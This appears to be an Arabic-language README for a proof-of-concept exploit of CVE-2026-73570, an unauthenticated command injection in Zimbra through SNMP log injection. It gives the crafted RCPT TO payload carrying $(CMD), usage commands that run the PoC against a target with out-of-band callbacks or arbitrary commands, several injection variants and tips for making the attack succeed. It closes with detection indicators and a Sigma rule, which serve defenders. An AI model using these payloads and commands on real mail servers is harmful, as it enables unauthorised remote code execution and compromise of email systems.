
إثبات مفهوم للاستغلال لـ CVE-2026-73570، وهو حقن أوامر نظام التشغيل دون مصادقة في Zimbra Collaboration Suite عبر حقن سجل zimbra-snmp، مع إرشادات الكشف.
إثبات مفهوم استغلال لـ CVE-2026-73570، وهو حقن أوامر نظام التشغيل دون مصادقة (CWE-78، CVSS 8.9) في Zimbra Collaboration Suite < 10.1.20 عند تثبيت حزمة zimbra-snmp وتفعيل إشعارات SNMP.
إخلاء المسؤولية: هذا الـ PoC مخصص فقط لاختبارات الأمان المصرّح بها، والبحث الدفاعي، والتحقق من أنظمتك الخاصة. لا تستخدمه ضد أي نظام لا تملكه أو ليس لديك إذن كتابي صريح لاختباره.
تستخدم ميزة إشعارات SNMP في Zimbra أداة swatchdog لمراقبة
/var/log/zimbra.log بحثًا عن أحداث الخدمة. عندما يطابق سطر سجل نمط
المراقبة الخاص بها، يتم إدراج النص المطابق في أمر shell الذي يرسل
إشعار SNMP — دون تعقيم.
سلسلة الهجوم:
1. Attacker sends an SMTP session with a crafted RCPT TO address:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
The local part is an RFC 5321 quoted-string, so Postfix accepts the
address syntax (spaces, colons, $(...) included).
2. Postfix rejects the recipient (relay denied / user unknown / sender
restriction) and writes the FULL to=<...> string, quotes stripped, into
/var/log/zimbra.log:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog (zimbra-snmp) periodically scans the log and matches its
watchfor pattern "Service status change ... changed from ... to ...".
4. The matched text is interpolated into the SNMP notification shell command
-> $(CMD) is evaluated -> command execution as the `zimbra` user.
يجب أن يستوفي الهدف جميع ما يلي:
zimbra-snmp مثبتةzmlocalconfig | grep -i snmp_notify)جانب المهاجم: Python 3 (المكتبة القياسية فقط، بدون تبعيات).
# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
الخيارات:
| العلم | الوصف |
|---|---|
-t, --target | عنوان IP/اسم مضيف SMTP الخاص بـ Zimbra الهدف (مطلوب) |
-p, --port | منفذ SMTP (الافتراضي: 25) |
--tls | استخدام STARTTLS (مثل المنفذ 587) |
--oob | نطاق DNS خارج النطاق أو رابط استدعاء HTTP (موصى به) |
--cmd | أمر عشوائي بدلاً من استدعاء OOB |
--fake-host | اسم المضيف داخل سلسلة Service status change المزيفة (الافتراضي: localhost) |
--check-only | بصمة فقط، دون إرسال أي حمولات |
--delay | التأخير بين عمليات الإرسال بالثواني (الافتراضي: 1.0) |
--debug | طباعة نص SMTP الكامل |
يرسل السكربت كل أمر في عدة صيغ حقن ($(...)،
علامات الاقتباس الخلفية، ;cmd;#، $({IFS}...)). لكل صيغة، راقب رمز
استجابة RCPT:
| استجابة RCPT | المعنى |
|---|---|
250، 450، 454 Relay access denied، 550 5.1.1 User unknown | تم قبول صيغة العنوان — سطر الرفض الذي يحتوي على سلسلة to=<...> الكاملة أصبح الآن في السجل. تم زرع الحمولة. |
501 5.1.3 Bad recipient address syntax | رفض Postfix العنوان في وقت التحليل — لم يتم تسجيل أي شيء مفيد. يعيد السكربت المحاولة تلقائيًا بصيغة احتياطية بدون علامات اقتباس. |
ثم أكّد على الخادم (إذا كان لديك صلاحية الوصول):
# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/ # if you used --cmd
# or watch your OOB listener for the callback
إذا كان سطر السجل موجودًا لكن الأمر لا يُنفَّذ أبدًا، فإن الشروط المسبقة
المتبقية تكون على جانب swatchdog: تحقق من أن العملية قيد التشغيل
(ps aux | grep swatch) وأن إعداداتها تراقب فعلاً نمط
Service status change.
سياق التنفيذ: تُنفَّذ الأوامر باسم مستخدم zimbra (وليس root).
fail2ban-client status، وiptables -L -n | grep <your_ip>، وتأكد من
وصول الحزم إلى Postfix باستخدام tcpdump -i any port 25 and host <your_ip> -nn -A.warning: Illegal address syntax ... in RCPT command: ... بدلاً من سطر
NOQUEUE: reject. ابحث باستخدام عنوان IP الخاص بالمهاجم بدلاً من ذلك.المؤشرات الرئيسية للاستغلال الناجح:
to=<*: Service status change: *$(...)* داخل
سطر رفض Postfix في /var/log/zimbra.log — إيجابيات كاذبة معدومة تقريبًا،
لأن نص Service status change لا يظهر بشكل مشروع أبدًا
داخل عنوان to=<>.sh، bash، curl، wget، nc، python، perl) يُنشأ كعملية فرعية
لـ swatchdog / swatch..jsp/.jspx جديدة تحت
/opt/zimbra/jetty/webapps/ أو /opt/zimbra/jetty_base/webapps/،
ملفات غير متوقعة في /tmp/، إدخالات cron جديدة أو مفاتيح SSH لمستخدم
zimbra، واتصالات صادرة من خادم البريد لا تتوافق مع
تدفق البريد الطبيعي.مثال قاعدة Sigma (مرحلة المحاولة):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp حتى يتم الترقيع.